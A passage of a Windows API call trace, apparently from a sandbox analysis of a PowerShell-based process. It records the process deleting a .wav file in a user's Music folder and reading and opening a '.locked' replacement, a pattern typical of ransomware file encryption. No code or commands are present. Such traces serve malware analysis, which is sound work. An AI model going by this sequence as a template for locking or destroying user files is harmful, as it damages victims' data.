lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.957] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.957] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.957] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.957] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0133.957] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0133.957] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw")) returned 0x10 [0133.957] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw")) returned 0x10 [0133.957] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", lpFilePart=0x0) returned 0x25 [0133.957] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", lpFilePart=0x0) returned 0x25 [0133.957] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav")) returned 0x20 [0133.958] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.958] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.958] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0133.958] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.959] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav\\", lpFilePart=0x0) returned 0x31 [0133.959] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0133.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0133.959] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0133.959] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0133.959] CoTaskMemFree (pv=0x8eb8930) [0133.960] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav")) returned 0x20 [0133.960] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.960] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0133.960] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav"), fInfoLevelId=0x0, lpFileInformation=0x6977474 | out: lpFileInformation=0x6977474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1aee50, ftCreationTime.dwHighDateTime=0x1d4a640, ftLastAccessTime.dwLowDateTime=0x74735d40, ftLastAccessTime.dwHighDateTime=0x1d4a455, ftLastWriteTime.dwLowDateTime=0x74735d40, ftLastWriteTime.dwHighDateTime=0x1d4a455, nFileSizeHigh=0x0, nFileSizeLow=0xe22e)) returned 1 [0133.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0133.961] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav")) returned 1 [0133.963] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.963] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.963] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.963] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.963] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.964] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav.locked")) returned 0x20 [0133.964] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav.locked")) returned 0x20 [0133.964] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked", lpFilePart=0x0) returned 0x37 [0133.964] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked", lpFilePart=0x0) returned 0x37 [0133.964] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.964] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.964] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.964] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.965] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.965] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.967] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.967] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.967] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.967] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.968] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.968] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.968] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.968] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.969] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.969] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.969] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.969] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.969] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.970] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.970] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.970] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.970] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.974] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0133.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0133.975] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav.locked"), fInfoLevelId=0x0, lpFileInformation=0x6986c84 | out: lpFileInformation=0x6986c84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13118b57, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x13118b57, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x13118b57, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xe244)) returned 1 [0133.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0133.975] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked", lpFilePart=0x0) returned 0x37 [0133.975] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0133.975] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0133.976] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0133.976] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0133.977] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0133.982] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0133.983] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0133.983] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0133.984] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0133.988] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0133.988] GetConsoleOutputCP () returned 0x1b5 [0133.989] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0133.989] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0133.989] GetConsoleOutputCP () returned 0x1b5 [0133.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0133.991] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0133.991] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69af354*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x69af354*, lpNumberOfCharsWritten=0x99ae3a4*=0x34) returned 1 [0133.992] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0133.992] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0133.997] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0133.997] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0133.998] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0134.002] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0134.003] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0134.003] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0134.009] GetConsoleOutputCP () returned 0x1b5 [0134.009] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0134.009] GetConsoleOutputCP () returned 0x1b5 [0134.010] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0134.010] GetConsoleOutputCP () returned 0x1b5 [0134.010] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.010] GetConsoleOutputCP () returned 0x1b5 [0134.011] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.011] GetConsoleOutputCP () returned 0x1b5 [0134.011] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0134.011] GetConsoleOutputCP () returned 0x1b5 [0134.012] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0134.012] GetConsoleOutputCP () returned 0x1b5 [0134.012] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.012] GetConsoleOutputCP () returned 0x1b5 [0134.013] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.013] GetConsoleOutputCP () returned 0x1b5 [0134.013] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0134.013] 